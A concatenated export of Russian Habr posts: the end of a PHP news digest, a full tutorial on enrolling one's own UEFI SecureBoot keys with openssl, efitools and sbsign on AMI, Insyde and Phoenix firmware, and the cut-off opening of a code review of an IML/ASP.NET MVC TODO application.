+ [Деплой Laravel-приложения с помощью Deployer](https://deployer.org/blog/how-to-deploy-laravel)
+ [Кастомная аутентификация в Laravel 5](http://snipe.net/2016/11/demystifying-custom-auth-in-laravel-5/)
+  [Прерывание приложений с помощью Laravel Middleware](https://www.sitepoint.com/middleware-in-laravel-5/)
+ [mpociot/blacksmith](https://github.com/mpociot/blacksmith) — Неофициальный клиент для Larvel Forge.
+ [Bottelet/Flarepoint-crm/](https://github.com/Bottelet/Flarepoint-crm/) — CRM-платформа на Laravel.
+ [invoiceninja/invoiceninja](https://github.com/invoiceninja/invoiceninja) — Приложение для выставления счетов (Invoicing) и трекинга времени.
* [Оптимизация медленного PHP-кода когда нельзя изменять код](https://id-rsa.pub/post/shimming-php-for-fun-and-profit/) — Забавная история о применении [runkit](http://php.net/manual/en/book.runkit.php). Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
* [Вопросы для собеседования PHP-разработчика](https://icyapril.com/programming/php/2016/11/15/php-interview-questions.html) — Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/)
* [Redis из PHP](https://blog.remirepo.net/post/2016/11/13/Redis-from-PHP) — Бенчмарк клиентов для Redis: [redis](https://pecl.php.net/package/redis), [predis](https://github.com/nrk/predis), [phpiredis](https://github.com/nrk/phpiredis).
* [Ускоряем тесты на PHP: Организация Test Suites](http://davedevelopment.co.uk/2016/11/16/faster-tests-in-php-organising-test-suites.html)
* [Рекомендации по обработке исключений](http://blog.eleven-labs.com/en/php_handle-exception-gracefully/)
* [Разрешение зависимостей с помощью графов на PHP](http://mamchenkov.net/wordpress/2016/11/22/dependency-resolution-with-graphs-in-php/)
*  [Stacker: Nginx, DB(Mysql, Pgsql, Redis), PHP7+xDebug за 5 минут](https://habrahabr.ru/post/315738/)
*  [Двенадцать заповедей локализации ПО](https://habrahabr.ru/company/alconost/blog/313700/)
*  [Как протестировать наследство без боли и страха](https://habrahabr.ru/post/316140/)
*  [Марсоход, Координаты посадки](https://habrahabr.ru/post/315684/), [Посадка](https://habrahabr.ru/post/314958/)
*  [Система сборки фронтенда в CleverStyle Framework или почему вам может быть не нужна кастомная](https://habrahabr.ru/post/315030/)
*  [Как мы переводили сервер на php 7](https://habrahabr.ru/post/315300/)
*  [Простые миграции с PHPixie Migrate](https://habrahabr.ru/post/315254/)
*  [Объединяем Code Coverage от PHPUnit и phpspec](https://habrahabr.ru/company/simpleweek/blog/316210/)
### Аудио и видеоматериалы
*  [Подкаст Voices of the ElePHPant](https://voicesoftheelephpant.com/) — Интервью с известными деятелями PHP-сообщества.
*  [PHP South West UK — November 2016](https://www.youtube.com/playlist?list=PLrEpsyNSHj01tN84y90RJuzwr2jzrxA4F) — Видеозаписи коротких докладов. Прислал [im\_special\_one](https://habrahabr.ru/users/im_special_one/).
*  [Видео со встречи Symfoniacs #10 (Москва)](https://www.facebook.com/afishamansarda/videos/1344014625622586/) — Прислал [Владислав Старцев](https://twitter.com/IssecMura).
*  [Пятиминутка PHP: Выпуск №23 — чат-боты Радио-Т](http://5minphp.ru/episode23/)
*  [Пятиминутка PHP: Выпуск №24 — PHP 7 “Request” Extension](http://5minphp.ru/episode24/)
### Занимательное
* [Статистика использования версий PHP – 2016.2](https://seld.be/notes/php-versions-stats-2016-2-edition) — Composer отправляет информацию об используемой версии PHP при подключении к packagist.org. Jordi Boggiano делится этой статистикой за последние полгода. Доля PHP 7 составляет уже 36.37%.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](http://habrahabr.ru/conversations/pronskiy/). Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Присылайте ссылки](http://bit.ly/php-digest-add-link) на интересные статьи или полезные инструменты, которых [не было в PHP-Дайджестах](http://pronskiy.github.io/php-digest/), и ваше имя будет рядом с присланной ссылкой в выпуске.
» [Прислать ссылку](http://bit.ly/php-digest-add-link)
» [Быстрый поиск по всем дайджестам](https://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 96](https://habrahabr.ru/company/zfort/blog/315178/) | https://habr.com/ru/post/316254/ | null | ru | null |
# Укрощаем UEFI SecureBoot
 Данные обещания надо выполнять, тем более, если они сделаны сначала в [заключительной части опуса о безопасности UEFI](http://habrahabr.ru/post/268423/), а потом повторены [со сцены ZeroNights 2015](https://twitter.com/ZeroNights/status/669864406512222208), поэтому сегодня поговорим о том, как заставить UEFI SecureBoot работать не на благо Microsoft, как это чаще всего настроено по умолчанию, а на благо нас с вами.
Если вам интересно, как сгенерировать свои собственные ключи для SecureBoot, как установить их вместо стандартных (или вместе с ними), как подписать ваш любимый EFI-загрузчик, как запретить загрузку неподписанного или подписанного чужими ключами кода, как выглядит интерфейс для настройки SecureBoot у AMI, Insyde и Phoenix и почему это, по большому счету, совершенно не важно — добро пожаловать под кат, но опасайтесь большого количества картинок и длинных консольных команд.
#### **Введение**
О том, как устроен и работает SecureBoot, я уже рассказывал в начале [пятой части вышеупомянутого опуса](http://habrahabr.ru/post/267953/), повторяться смысла не вижу. Если вы не в курсе, о чем весь этот UEFI SecureBoot вообще, кто такие PK, KEK, db и dbx, и почему с точки зрения SecureBoot по умолчанию хозяином вашей системы является производитель UEFI, а единственным авторизованным пользователем является Microsoft — смело проследуйте туда, мы вас тут пока подождем.
С ликбезом закончили, теперь к делу. Несмотря на то, что про создание своих ключей и настройку SecureBoot написано за три последних года с десяток отличных статей (ссылки на часть из которых приведены в разделе Литература), воз и ныне там. Основная проблема с информацией о настройке SecureBoot даже в англоязычном сегменте сети (не говоря уже о рунете) — большая часть статей, текстов и постов обрывается на «вот у нас теперь есть ключи в формате EFI Signature List, добавьте их зависимым от вашего вендора прошивки способом и готово». При этом сами вендоры не торопятся описывать меню настройки SecureBoot ни в документации на свои платформы для OEM'ов, ни в мануалах на конечные системы, в результате пользователь теряется на незнакомой местности и либо отключает SecureBoot, мешающий загружать его любимую OpenBSD (или что там у него), либо оставляет его на настройках по умолчанию (а чего, Windows грузится же). Именно этот последний шаг я и попытаюсь описать более подробно, но не в ущерб остальным необходимым шагам.
#### **Тестовая конфигурация**
Специально для этой статьи я достал из закромов пару не самых новых ноутбуков с прошивками на платформах Phoenix SCT и Insyde H2O, а также совершенно новую плату congatec (разработкой прошивки для которой я занят в данный момент) на платформе AMI AptioV. Встречайте, наши тестовые стенды:
**1**. **AMI**, они же "*треугольные*": **[congatec conga-TR3](http://www.congatec.com/en/products/com-express-type6/conga-tr3.html) @ [conga-TEVAL](http://www.congatec.com/en/products/accessories/conga-teval.html)**, AMD RX-216GD (Merlin Falcon), AMI AptioV (UEFI 2.4)
**2**. **Insyde**, они же "*квадратные*": **[Acer Aspire R14 R3-471T](http://www.ultrabookreview.com/6591-acer-aspire-r14-review/) (Quanta ZQX)**, Intel Core i3-4030U (Ivy Bridge), Insyde H2O (UEFI 2.3.1C)
**3**. **Phoenix**, они же "*полукруглые*": **[Dell Vostro 3360](http://www.notebookcheck.net/Review-Dell-Vostro-3360-Notebook.76737.0.html) (Quanta V07)**, Intel Core i7-3537U (Ivy Bridge), Phoenix SCT (UEFI 2.3.1C)
#### **Об интерфейсах для настройки SecureBoot**
На всех вышеперечисленных системах производитель заявляет о поддержке технологии UEFI SecureBoot, но интерфейс для ее настройки сильно отличается между системами. К счастью, это не очень большая проблема, поскольку для настройки SecureBoot на совместимых со спецификацией UEFI 2.3.1C (и более новых) прошивках никакого интерфейса в Setup, кроме возможности удаления текущего PK (т.е. перевода SecureBoot в так называемый Setup Mode) не требуется, а после этого можно использовать любое EFI-приложение, способное вызвать UEFI-сервис gRS->SetVariable с предоставленными пользователем данными, в том числе утилиту *KeyTool.efi* из пакета [**efitools**](http://git.kernel.org/cgit/linux/kernel/git/jejb/efitools.git/tree/), которая специально для управления ключами и предназначена, осталось только научиться ей пользоваться.
Тем не менее, если удобный интерфейс для настройки присутствует (у AMI он, на мой взгляд, даже удобнее *KeyTool*'а) — можно воспользоваться им, так что рассказывать про эти самые интерфейсы все равно придется.
**Пара слов про скриншоты UEFI**Благодаря универсальности GOP, ConIn/ConOut и DevicePath можно было сесть и написать за полчаса простой DXE-драйвер, который снимал бы замечательные скриншоты в формате BMP со всего, что происходит в графической консоли после его (драйвера) загрузки по нажатию горячей клавиши, после чего сохранял бы их на первом попавшемся USB-носителе с ФС FAT32… Но его нужно сначала написать, потом отладить, потом интегрировать в прошивки так, чтобы они от этого не развалились (а на ноутбуках придется микросхему с прошивкой выпаивать и под программатор класть, если вдруг что-то не так пойдет), плюс с подконтрольного мне AptioV можно снимать скриншоты просто используя терминал и console serial redirection, а у остальных там настроек буквально на два-три экрана, которые можно банально с монитора сфотографировать, поэтому прошу вас, уважаемые читатели, простить вашего покорного слугу за эти кривые фотографии и за тот факт, что он — ленивая жопа.
#### **Готовим плацдарм**
Начнем с лирического отступления о наличии нужного софта для разных ОС. Несмотря на то, что Microsoft является одним из разработчиков технологии, в открытом доступе до сих пор отсутствуют нормальные средства для работы с ней из Windows (ключи можно сгенерировать утилитой [*MakeCert*](https://msdn.microsoft.com/library/windows/desktop/aa386968.aspx) из Windows SDK, а для всего остального [предлагается использовать HSM](https://technet.microsoft.com/en-us/library/dn747883.aspx) третьих лиц за большие деньги). Я подумывал сначала взять и написать нужную утилиту на Qt, но потому решил, что ключи и подписи каждый день генерировать не нужно, а на пару раз хватит и существующих решений. Можете попробовать переубедить меня в комментариях, если хотите.
В общем, для всего нижеперечисленного вам понадобится Linux (который можно запустить с LiveUSB, если он у вас не установлен). Для него существует целых два набора утилит для работы с SecureBoot: *efitools/sbsigntool* и *EFIKeyGen/pesign*. У меня есть положительный опыт работы с первым набором, поэтому речь пойдет именно о нем.
В итоге, кроме Linux, нам понадобятся несколько вещей:
1. Пакет ***openssl*** и одноименная утилита из него для генерирования ключевых пар и преобразования сертификатов из DER в PEM.
2. Пакет ***efitools***, а точнее утилиты *cert-to-efi-sig-list*, *sign-efi-sig-list* для преобразования сертификатов в формат ESL и подписи файлов в этом формате, и *KeyTool.efi* для управления ключами системы, находящейся в SetupMode.
3. Пакет ***sbsigntool***, а точнее утилита *sbsign* для подписи исполняемых файлов UEFI (т.е. загрузчиков, DXE-драйверов, OptionROM'ов и приложений для UEFI Shell) вашим ключом.
Загрузите Linux, установите вышеуказанные пакеты, откройте терминал в домашней директории и переходите к следующему шагу.
#### **Генерируем собственные ключи для SecureBoot**
Как обычно, есть несколько способов сделать что-либо, и чем мощнее используемый инструмент, тем таких способов больше. OpenSSL же как инструмент развит настолько, что кажется, что он умеет делать вообще всё, а если почитать к нему man — то и абсолютно всё остальное. Поэтому в этой статье я ограничусь непосредственной генерацией ключевых файлов, а танцы вокруг создания собственного CA оставлю на [самостоятельное изучение](http://prosauce.org/blog/2015/9/13/minnowboard-max-quickstart-uefi-secure-boot).
##### **Генерируем ключевые пары**
Ключей понадобится сгенерировать три штуки: PK, KEK и ISK.
Начнем с PK, для генерации которого нужно выполнить следующее
```
openssl req -new -x509 -newkey rsa:2048 -sha256 -days 365 -subj "/CN=Platform Key" -keyout PK.key -out PK.pem
```
после чего ввести и подтвердить пароль, который потом спросят при попытке подписи чего-либо получившимся закрытым ключом.
Командой выше мы просим OpenSSL сгенерировать нам ключевую пару RSA2048/SHA256 со сроком действия на один год, под названием Platform Key, с выводом закрытого ключа в файл PK.key, а открытого — в файл PK.pem. Если добавить *-nodes*, то для подписи этой ключевой парой не нужен будет пароль, но здесь мы этого делать не станем — с паролем хоть ненамного, но безопаснее.
Таким же образом генерируем ключевые пары для KEK и ISK, пароли при этом советую вводить разные:
```
openssl req -new -x509 -newkey rsa:2048 -sha256 -days 365 -subj "/CN=Key Exchange Key" -keyout KEK.key -out KEK.pem
```
```
openssl req -new -x509 -newkey rsa:2048 -sha256 -days 365 -subj "/CN=Image Signing Key" -keyout ISK.key -out ISK.pem
```
##### **Конвертируем открытые ключи в формат ESL**
Теперь нужно сконвертировать открытые ключи из формата PEM в понятный UEFI SecureBoot формат ESL. Этот бинарный формат описан в [спецификации UEFI](http://www.uefi.org/specifications) (раздел 30.4.1 в текущей версии 2.5) и интересен тем, что файлы в нем можно соединять друг с другом конкатенацией, и этот факт нам еще пригодится.
```
cert-to-efi-sig-list -g "$(uuidgen)" PK.pem PK.esl
```
```
cert-to-efi-sig-list -g "$(uuidgen)" KEK.pem KEK.esl
```
```
cert-to-efi-sig-list -g "$(uuidgen)" ISK.pem ISK.esl
```
Ключ -g добавляет к сгенерированному ESL-файлу GUID, в нашем случае — случайный, полученый запуском утилиты *uuidgen* и использованием ее вывода. Если этой утилиты у вас нет — придумывайте GUIDы сами или оставьте значение по умолчанию.
##### **Подписываем ESL-файлы**
Для правильно работы SecureBoot необходимо, чтобы PK был подписан сам собой, KEK подписан PK, а хранилища db и dbx — сответственно KEK. При этом PK не может быть несколько, а вот ситуация с несколькими KEK хоть и встречается в дикой природе, но я все же настоятельно рекомендую удалить предустановленный ключ Microsoft из KEK по простой причине — db и dbx могут быть подписаны любым ключом из хранилища KEK, т.е. если ключ MS оттуда не удалить, то у MS будет возможность управлять содержимым db и dbx, т.е. добавлять любые новые ключи или хеши в список доверенной загрузки и удалять из него существующие. На мой взгляд, это немного слишком, и если мы берем управление ключами в свои руки, то нужно делать это до конца. **Если вы думаете иначе**Ну тогда вам [прямая дорога вот сюда](https://technet.microsoft.com/en-us/library/dn747883.aspx), там в самом конце раздела 1.3.4.3 есть [ссылка](http://go.microsoft.com/fwlink/?LinkId=321185) на сертификат Microsoft Corporation KEK CA 2011 в формате DER, из которого нужно сначала получить PEM командой
```
openssl x509 -in MicCorKEKCA2011_2011-06-24.crt -inform DER -out MsKEK.pem -outform PEM
```
затем сконвертировать полученный PEM в ESL командой
```
cert-to-efi-sig-list -g "$(uuidgen)" MsKEK.pem MsKEK.esl
```
после чего добавить получившийся файл к нашему файлу KEK.esl командой
```
cat KEK.esl MsKEK.esl > NewKEK.esl
```
```
mv -f NewKEK.esl KEK.esl
```
Теперь Microsoft такой же авторизованный пользователь вашей платформы, как и вы сами, с чем я вас и поздравляю.С другой стороны, если вы не хотите терять возможность загрузки Windows и подписанных ключом Microsoft исполняемых компонентов (к примеру, GOP-драйверов внешних видеокарт и PXE-драйверов внешних сетевых карточек), то к нашему ISK.esl надо будет добавить еще пару ключей — ключ [Microsoft Windows Production CA 2011](http://go.microsoft.com/fwlink/?LinkID=321192), которым MS подписывает собственные загрузчики и ключ [Microsoft UEFI driver signing CA](http://go.microsoft.com/fwlink/?LinkId=321194), которым подписываются компоненты третьих сторон (именно им, кстати, подписан загрузчик Shim, с помощью которого теперь стартуют разные дистрибутивы Linux, поддерживающие SecureBoot из коробки).
Последовательность та же, что и под спойлером выше. Конвертируем из DER в PEM, затем из PEM в ESL, затем добавляем к db.esl, который в конце концов надо будет подписать любым ключом из KEK:
```
openssl x509 -in MicWinProPCA2011_2011-10-19.crt -inform DER -out MsWin.pem -outform PEM
```
```
openssl x509 -in MicCorUEFCA2011_2011-06-27.crt -inform DER -out UEFI.pem -outform PEM
```
```
cert-to-efi-sig-list -g "$(uuidgen)" MsWin.pem MsWin.esl
```
```
cert-to-efi-sig-list -g "$(uuidgen)" UEFI.pem UEFI.esl
```
```
cat ISK.esl MsWin.esl UEFI.esl > db.esl
```
Теперь подписываем PK самим собой:
```
sign-efi-sig-list -k PK.key -c PK.pem PK PK.esl PK.auth
```
Подписываем KEK.esl ключом PK:
```
sign-efi-sig-list -k PK.key -c PK.pem KEK KEK.esl KEK.auth
```
Подписываем db.esl ключом KEK:
```
sign-efi-sig-list -k KEK.key -c KEK.pem db db.esl db.auth
```
Если еще не надоело, можно добавить чего-нибудь еще в db или создать хранилище dbx, нужные команды вы теперь знаете, все дальнейшее — на ваше усмотрение.
##### **Подписываем загрузчик**
Осталось подписать какой-нибудь исполняемый файл ключом ISK, чтобы проверить работу SecureBoot после добавления ваших ключей. Для тестов я советую подписать [утилиту RU.efi](http://ruexe.blogspot.com/), она графическая и яркая, и даже издалека видно, запустилась она или нет. На самом деле, утилита эта чрезвычайно мощная и ей можно натворить немало добрых и не очень дел, поэтому после тестов лучше всего будет её удалить, и в дальнейшем подписывать только загрузчики.
В любом случае, подписываются исполняемые файлы вот такой командой:
```
sbsign --key ISK.key --cert ISK.pem --output bootx64.efi RU.efi
```
Здесь я заодно переименовал исполняемый файл в *bootx64.efi*, который нужно положить в директорию /EFI/BOOT тестового USB-носителя с ФС FAT32. Для 32-битных UEFI (избавь вас рандом от работы с ними) используйте *bootia32.efi* и *RU32.efi*.
В результате вот этого всего у вас получились три файла .auth, которые нужно будет записать «как есть» в NVRAM-переменные *db*, *KEK* и *PK*, причем именно в таком порядке. Скопируйте все три файла в корень другого USB-носителя с ФС FAT32, на котором в качестве */EFI/BOOT/bootx64.efi* выступит */usr/share/efitools/efi/KeyTool.efi* (скопируйте его еще и в корень, на всякий случай) и ваш «набор укротителя SecureBoot» готов.
#### **Укрощение строптивого**
Начинается все одинаково: вставляем нашу флешку с ключами и *KeyTool*'ом в свободный USB-порт, включаем машину, заходим в BIOS Setup. Здесь, прежде чем заниматься настройкой SecureBoot, нужно отключить CSM, а с ним — и легаси-загрузку, с которыми наша технология не совместима. Также обязательно поставьте на вход в BIOS Setup пароль подлиннее, иначе можно будет обойти SecureBoot просто отключив его, для чего на некоторых системах с IPMI и/или AMT даже физическое присутсвие не потребуется.
##### **AMI AptioV**
У большинства прошивок, основанных на коде AMI, управление технологией SecureBoot находится на вкладке Security, у меня это управление выглядит так:
Заходим в меню Key Management (раньше оно было на той же вкладке, сейчас его выделили в отдельное) и видим там следующее:
Выбираем нужную нам переменную, после чего сначала предлагают выбрать между установкой нового ключа и добавлением к уже имеющимся, выбираем первое:
Теперь предлагается либо установить значение по умолчанию, либо загрузить собственное из файла, выбираем последнее:
Далее нужно устройство и файл на нем, а затем выбрать формат этого файла, в нашем случае это Authenticated Variable:
Затем нужно подтвердить обновление файла, и если все до этого шло хорошо, в результате получим лаконичное сообщение:
Повторяем то же самое для KEK и PK, и получам на выходе вот такое состояние:
Все верно, у нас есть единственный PK, всего один ключ в KEK и три ключа в db, возвращаемся в предыдущее меню кнопкой Esc и включаем SecureBoot:
Готово, сохраняем настройки и выходим с перезагрузкой, после чего пытаемся загрузиться с нашей флешки и видим вот такую картину:
Отлично, неподписанные загрузчики идут лесом, осталось проверить подписанный. Вставляем другую флешку, перезагружаемся и видим что-то такое:
Вот теперь можно сказать, что SecureBoot работает как надо.
Если у вашего AMI UEFI такого интерфейса для добавления ключей нет, то вам подойдет другой способ, о котором далее.
##### **Insyde H2O**
Здесь все несколько хуже, чем в предыдущем случае. Никакого интерфейса для добавления собственных ключей нет, и возможностей настройки SecureBoot предлагается всего три: либо удалить все переменные разом, переведя SecureBoot в Setup Mode, либо выбрать исполняемый файл, хеш которого будет добавлен в db, и его можно будет запускать даже в том случае, если он не подписан вообще, либо вернуться к стандартным ключам, в качестве которых на этой машине выступают PK от Acer, по ключу от Acer и MS в KEK и куча всякого от Acer и MS в db.
Впрочем, нет интерфейса — ну и черт с ним, у нас для этого *KeyTool* есть, главное, что в Setup Mode перейти можно. Интересно, что BIOS Setup не дает включить SecureBoot, если пароль Supervisor Password не установлен, поэтому устанавливаем сначала его, затем выполняем стирание ключей:
После чего на соседней вкладке Boot выбираем режим загрузки UEFI и включаем SecureBoot:
Т.к. фотографии у меня посреди ночи получаются невыносимо отвратительными, то скриншоты *KeyTool*'а я сделаю на предыдущей системе, и придется вам поверить в то, что на этой все выглядит точно также (мамой клянусь!).
Загружаемся с нашего носителя в *KeyTool*, и видим примерно следующее:
Выбираем Edit Keys, попадаем в меню выбора хранилища:
Там сначала выбираем *db*, затем Replace Keys, затем наше USB-устройство, а затем и файл:
Нажимаем Enter и без всяких сообщений об успехе нам снова показывают меню выбора хранилища. Повторяем то же самое сначала для KEK, а затем и для PK, после выходим в главное меню двойным нажатием на Esc. Выключаем машину, включаем заново, пытаемся загрузить *KeyTool* снова и видим такую картину (которую я утащил из дампа прошивки, ее фото на глянцевом экране еще кошмарнее, чем предыдущие):
Ну вот, одна часть SecureBoot'а работает, другая проверяется запуском подписанной нами *RU.efi* и тоже работает. У меня на этой системе Windows 8 установлена в UEFI-режиме, так вот — работает и она, Microsoft с сертификатом не подвели.
##### **Phoenix SCT**
Здесь возможностей еще меньше, и во всем меню Secure Boot Configuration на вкладке Security всего два пункта: возврат к стандартным ключам и удаление всех ключей с переводом системы в SetupMode, нам нужно как раз второе:
Затем на вкладке Boot нужно выбрать тип загрузки UEFI, включить SecureBoot, и создать загрузочную запись для *KeyTool*'а, иначе на этой платформе его запустить не получится:
Нажимаем Yes, выходим с сохранением изменений, перезагружаемся, нажимаем при загрузке F12, чтобы попасть в загрузочное меню, оттуда выбираем *KeyTool*, работа с которым описана выше. После добавления ключей и перезагрузки попытка повторного запуска *KeyTool*'а заканчивается вот так:
При этом установленный на той же машине Linux продолжает исправно загружаться, как и подписанная нами *RU.efi*, так что SecureBoot можно признать работоспособным.
#### **Заключение**
В итоге, благодаря утилитам с открытым кодом, удалось завести SecureBoot на системах с UEFI трех различных вендоров, сгенерировать свои собственные ключи и подписать ими нужные нам исполняемые файлы. Теперь загрузка платформы целиком в наших руках, но только в случае, если пароль на BIOS стойкий и не хранится [открытым текстом](https://twitter.com/NikolajSchlej/status/664121100826226688), как у некоторых, а в реализации SecureBoot нет каких-либо известных (или еще неизвестных) дыр. Сам по себе SecureBoot — не панацея от буткитов, но с ним ситуация с безопасной загрузкой все равно намного лучше, чем без него.
Надеюсь, что материал вам поможет, и спасибо за то, что прочитали эту портянку.
#### **Литература**
[Managing EFI Bootloaders for Linux: Controlling SecureBoot](http://www.rodsbooks.com/efi-bootloaders/controlling-sb.html).
[AltLinux UEFI SecureBoot mini-HOWTO](https://en.altlinux.org/UEFI_SecureBoot_mini-HOWTO).
[Booting a self-signed Linux kernel](http://kroah.com/log/blog/2013/09/02/booting-a-self-signed-linux-kernel/).
[Sakaki's EFI Install Guide: Configuring SecureBoot](https://wiki.gentoo.org/wiki/Sakaki's_EFI_Install_Guide/Configuring_Secure_Boot).
[Ubuntu Security Team: SecureBoot](https://wiki.ubuntu.com/SecurityTeam/SecureBoot).
[Owning your Windows 8 UEFI Platform](http://blog.hansenpartnership.com/owning-your-windows-8-uefi-platform/).
[MinnowBoard Max: Quickstart UEFI Secure Boot](http://prosauce.org/blog/2015/9/13/minnowboard-max-quickstart-uefi-secure-boot).
[Windows 8.1 Secure Boot Key Creation and Management Guidance](https://technet.microsoft.com/en-us/library/dn747883.aspx). | https://habr.com/ru/post/273497/ | null | ru | null |
# IML TODO
**disclaimer**: статья является ответом на критику (которая обрушилась на [хабре](http://habrahabr.ru/post/214293/)), раскрывая потенциал IML на примере популярного приложения [ToDo MVC](http://todomvc.com/).
#### Получил тумаков
Критика – это слово крайне мягкое по отношению к дискуссии, которая возникла к моей предыдущей статье, потому что это было больше похоже на избиение в котором были крайне не приятные комментарии (на фото топ бредовых), но также и объективные:
* **Код на AngularJs не фонтан** — сложно опровергнуть, хотя все они были с официального сайта и популярного руководства
* **Слабые примеры** – упор был на задачи, а не на сценарии, но соглашусь что более комплексное решение более полно раскрывает потенциал (я предложил некоторые наши проекты, которые открыты на open source, но они остались без внимания)
* **Не знаешь AngularJs?** – по понятным причинам это очень сильно задело разработчиков AngularJs
* **Топик JS** – это серьезная ошибка, потому что не используя asp.net mvc, сложно понять прелести типизированных TextBoxFor и других расширений.
#### Почему ToDo?
В комментариях предложили попробовать реализовать “Todo MVC” в качестве доказательства возможностей IML и сейчас мы посмотрим что из этого получилось. Во первых [demo](http://todo.incframework.com) версия, которая имеет одно отличите от тех, что представлены для js framework, в том, что в качестве хранилища используется не local storage, а база данных, а также [исходный код](https://github.com/IncodingSoftware/inc-todo), который мы будем разбирать далее в посте. В процессе реализации я строил всю логику (расчеты подвала, скрытие элементов и т.д.) на клиенте, хотя на реальных задачах, проще (иногда необходимо) обновлять “точечно” элементы, которые имея IML код, знают, как себя вычислить и отобразить.
#### Code review
Стиль повествования в этот раз будет не сравнение одного решения с другим (иначе объем материала будет большим), а обзор кода, который получится при реализации приложения todo. Я упоминал выше о том, что в реализации IML присутствует и серверная часть, но в целях уравнивания решаемых задач для более объективного сравнения, сфокусируемся только на клиентской части.
#### Из чего состоит
Код был разделен на 3 View
* **Index** — основная страница ( и по факту единственная для браузера )
* **Todo\_List\_Tmpl** – шаблон для построения центрального списка
* **Todo\_Footer\_Tmpl** – шаблон для построения подвала с показателями
##### Index ( состоит из трех элементов )
###### Форма для добавления TODO
```
@using (Html.When(JqueryBind.Submit)
.DoWithPreventDefault()
.Submit(options =>
{
options.Url = Url.Dispatcher()
.Push(new AddTodoCommand { ClientId = Selector.Incoding.Cookie(CookieManager.ClientId) });
})
.OnSuccess(dsl =>
{
dsl.WithId(containerId).Core().Trigger.Incoding();
dsl.Self().Core().Form.Reset();
})
.AsHtmlAttributes()
.ToBeginTag(Html, HtmlTag.Form))
{
@Html.TextBoxFor(r => r.Title, new { placeholder = "What needs to be done?", autofocus = "" })
}
```
*примечание: сразу ожидаю фразы в стиле “Да, ну это не серьезно, кода в разы больше, надо везде копировать, посмотри как люди делают !!!” — на что у меня есть аргумент в лице C# extensions, который позволяет оборачивать конструкции IML. Далее в статье будет приведены альтернативные варианты решения задач (также repository на [GibHub](https://github.com/IncodingSoftware/inc-todo-refactor) с переработанным кодом) с применением C# extensions*
###### Что к чему?
* **When(JqueryBind.Submit)** — указываем целевое событие
* **DoWithPreventDefault** — поведение события ( отменяем обработчик браузера )
* **Submit** — отправляем форму через ajax
*примечание: пару замечаний по представленной реализации:*
+ **Url** куда отправляется форма задается в опциях (а не через атрибут action у form)
+ **ClientId** можно вынести форму, как Hidden, который по InitIncoding проставит значение из Cookies, что бы вызывать Submit без параметров
* **OnSuccess** — выполняем после удачного завершения submit
+ **Trigger Incoding to containerId** – запускаем весь IML код для элемента Container (описание ниже)
*примечание: можно применять более одного When, что позволяет подвязаться на разные события (с разным IML кодом), поэтому trigger Incoding запускает все цепочки.*
+ **Form reset** – сбрасываем значение элементов формы
* **AsHtmlAttributes** — собираем IML код в удобный для asp.net mvc формат (RouteValueDictionary)
* **ToBeginTag** — упаковываем полученные атрибуты в тэг form (принцип работы как Html.BeginForm)
*примечание: можно использовать `Html.BeginForm(“action”,”controller”,Post,iml.AsHtmlAttributes())`*
###### Форма для добавления TODO (альтернативный вариант)
```
@using (Html.Todo().BeginForm(setting =>
{
setting.TargetId = containerId;
setting.Routes = new { ClientId = Selector.Incoding.Cookie(CookieManager.ClientId) };
}))
{
@Html.TextBoxFor(r => r.Title, new { placeholder = "What needs to be done?", autofocus = "" })
}
```
*примечание: кода стало меньше и что самое главное, теперь можно расширять (валидация, redirect после submit и т.д.) метод, под нужды конкретного проекта.*
**Под капотом**
```
public class BeginFormSetting
{
public string TargetId { get; set; }
public object Routes { get; set; }
}
public BeginTag BeginForm(Action configure)
{
var setting = new BeginFormSetting();
configure(setting);
var url = new UrlHelper(HttpContext.Current.Request.RequestContext);
return this.helper.When(JqueryBind.Submit)
.DoWithPreventDefault()
.Submit(options =>
{
options.Url = url.Dispatcher()
.Push(setting.Routes);
})
.OnSuccess(dsl =>
{
dsl.WithId(setting.TargetId).Core().Trigger.Incoding();
dsl.Self().Core().Form.Reset();
})
.AsHtmlAttributes()
.ToBeginTag(this.helper, HtmlTag.Form);
}
```
*примечание: код знаком большинству asp.net mvc разработчиков, но стоит отметить то, что вместо “обычных” параметров, мы передаем анонимный метод, который принимает класс настроек.*
##### Container
```
@(Html.When(JqueryBind.InitIncoding | JqueryBind.IncChangeUrl)
.Do()
.AjaxGet(Url.Dispatcher()
.Query(new
{
ClientId = Selector.Incoding.Cookie(CookieManager.ClientId),
Type = Selector.Incoding.HashQueryString(r => r.Type)
})
.AsJson())
.OnSuccess(dsl =>
{
string urlTmpl = Url.Dispatcher()
.Model(new GetTodoByClientQuery.Tmpl { FooterId = footerId })
.AsView("~/Views/Home/Todo_List_Tmpl.cshtml");
dsl.Self().Core().Insert.WithTemplateByUrl(urlTmpl).Html();
dsl.WithId(footerId).Core().Trigger.Incoding();
})
.AsHtmlAttributes(new { id = containerId })
.ToDiv())
```
###### Что к чему?
* **When(JqueryBind.InitIncoding | IncChangeUrl)** — указываем целевые события
+ **InitIncoding** – срабатывает при первом появлении элемента на странице (не важно ajax или обычно)
+ **IncChangeUrl** – срабатывает при изменение hash
* **Do** — поведение события
* **AjaxGet** — указываем url, на который будет выполнен ajax запрос
+ ClientId – получаем значение из cookies
+ Type – получаем значение из Hash Query String
* **OnSuccess** — выполняем после удачного завершения AjaxGet
+ **Insert data to self by template** – вставляем полученные данные из запроса ( json ) через template ( Todo\_List\_Tmpl ниже ) в текущий элемент.
*примечание: template можно получить через любой доступный Selector, например раньше основным был Jquery.Id, но загрузка по ajax предпочтительней*
+ **Trigger incoding to footerId** – запускаем весь IML код для элемента footer (описание ниже)
* **AsHtmlAttributes** — собираем IML код и задаем значение containerId (guid) атрибуту Id
*примечание: использование guid в качестве Id гарантирует уникальность элемента на странице, особенно актуально для single page application*
* **ToDiv** — упаковываем полученные атрибуты в тэг div
*примечание: ToDiv это C# extensions над RouteValueDictionary, поэтому без труда можно написать свой нужный вариант*
###### Container (альтернативный способ)
```
@Html.Todo().Container(setting =>
{
setting.Id = containerId;
setting.Url = Url.Dispatcher()
.Query(new
{
ClientId = Selector.Incoding.Cookie(CookieManager.ClientId),
Type = Selector.Incoding.HashQueryString(r => r.Type)
})
.AsJson();
setting.Tmpl = Url.Dispatcher()
.Model(new GetTodoByClientQuery.Tmpl { FooterId = footerId })
